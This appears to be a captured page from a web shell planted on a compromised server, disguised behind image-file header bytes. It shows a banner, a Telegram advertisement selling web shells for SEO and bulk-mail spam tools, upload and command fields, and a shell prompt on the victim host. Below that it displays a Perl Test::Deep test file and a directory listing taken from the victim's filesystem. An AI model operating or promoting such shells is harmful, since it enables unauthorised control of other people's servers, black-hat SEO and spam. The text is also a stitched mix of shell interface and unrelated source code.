����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

deexcl@216.73.217.71: ~ $
use strict;
use warnings;
use lib 't/lib';

use Std;

foreach my $thing (fake->new, 'fake')
{
  check_test(
    sub {
      cmp_deeply($thing, methods(meth1 => "val1", meth2 => ['a', 'b']));
    },
    {
      actual_ok => 1,
      diag => "",
    },
    "methods eq"
  );
  check_test(
    sub {
      cmp_deeply($thing, methods(meth1 => "val1", meth2 => ['a', 'c']));
    },
    {
      actual_ok => 0,
      diag => <<EOM,
Compared \$data->meth2->[1]
   got : 'b'
expect : 'c'
EOM
    },
    "methods not eq"
  );
  check_test(
    sub {
      cmp_deeply($thing, methods(['plus1', 2] => 3));
    },
    {
      actual_ok => 1,
      diag => "",
    },
    "methods arg eq"
  );
  check_test(
    sub {
      cmp_deeply($thing, methods(['plus1', 2] => 2));
    },
    {
      actual_ok => 0,
      diag => <<EOM,
Compared \$data->plus1(2)
   got : '3'
expect : '2'
EOM
    },
    "methods arg not eq"
  );

  check_test(
    sub {
      cmp_deeply($thing, methods(meth1 => "val1", meth3 => "val3"));
    },
    {
      actual_ok => 0,
      diag => <<EOM,
Compared \$data->meth3
   got : Does not exist
expect : 'val3'
EOM
    },
    "methods DNE"
  );
}

{
        my $obj = fake->new;

  check_test(
    sub {
      cmp_deeply(
        {
          key => [
            \"a", \["b"], \$obj
          ]
        },
        {
          key => [
            \"a", \["b"], \(methods(meth1 => "val1", meth2 => ['a', 'b']))
          ]
        }
      );
    },
    {
      actual_ok => 1,
      diag => "",
    },
    "complex eq"
  );
  check_test(
    sub {
      cmp_deeply(
        {
          key => [
            \"a", \["b"], \$obj
          ]
        },
        {
          key => [
            \"a", \["b"], \(methods(meth1 => "val1", meth2 => ['a', 'c']))
          ]
        }
      );
    },
    {
      actual_ok => 0,
      diag => <<EOM,
Compared \${\$data->{"key"}[2]}->meth2->[1]
   got : 'b'
expect : 'c'
EOM
    },
    "complex not eq"
  );

  check_test(
    sub {
      cmp_methods($obj, [meth1 => "val1", meth2 => ['a', 'b']]);
    },
    {
      actual_ok => 1,
      diag => "",
    },
    "methods eq"
  );
  check_test(
    sub {
      cmp_methods($obj, [meth1 => "val1", meth2 => ['a', 'c']]);
    },
    {
      actual_ok => 0,
    },
    "methods not eq"
  );

}

package fake;

sub new
{
  return bless {}, __PACKAGE__;
}

sub meth1
{
  return "val1";
}

sub meth2
{
  return ['a', 'b'];
}

sub plus1
{
  my $self = shift;
  my $arg = shift;
  return $arg + 1;
}

Filemanager

Name Type Size Permission Actions
lib Folder 0755
00-report-prereqs.dd File 1.3 KB 0644
00-report-prereqs.t File 5.88 KB 0644
all.t File 977 B 0644
any.t File 934 B 0644
array.t File 1.27 KB 0644
array_each.t File 522 B 0644
arraylength.t File 1.59 KB 0644
bag.t File 4.69 KB 0644
bagrecursion.t File 255 B 0644
blessed.t File 777 B 0644
boolean.t File 1.17 KB 0644
cache.t File 740 B 0644
circular.t File 2.02 KB 0644
class.t File 1.55 KB 0644
code.t File 968 B 0644
deep_utils.t File 557 B 0644
descend.t File 1.85 KB 0644
error.t File 323 B 0644
hash.t File 1.45 KB 0644
hash_each.t File 579 B 0644
hashkeys.t File 1.07 KB 0644
ignore.t File 220 B 0644
import.t File 116 B 0644
isa.t File 1.88 KB 0644
leaf-wrapper.t File 1.3 KB 0644
listmethods.t File 2.23 KB 0644
memory.t File 656 B 0644
methods.t File 2.43 KB 0644
no-clobber-globals.t File 527 B 0644
none.t File 1.04 KB 0644
notest.t File 200 B 0644
notest_extra.t File 220 B 0644
notest_withtest.t File 347 B 0644
number.t File 1.47 KB 0644
reftype.t File 408 B 0644
regexp.t File 2.87 KB 0644
regexp.t.orig File 793 B 0644
regexpref.t File 511 B 0644
rt78288_blessed_object.t File 310 B 0644
scalar.t File 923 B 0644
scalarref.t File 692 B 0644
set.t File 4.97 KB 0644
shallow.t File 1.27 KB 0644
string.t File 830 B 0644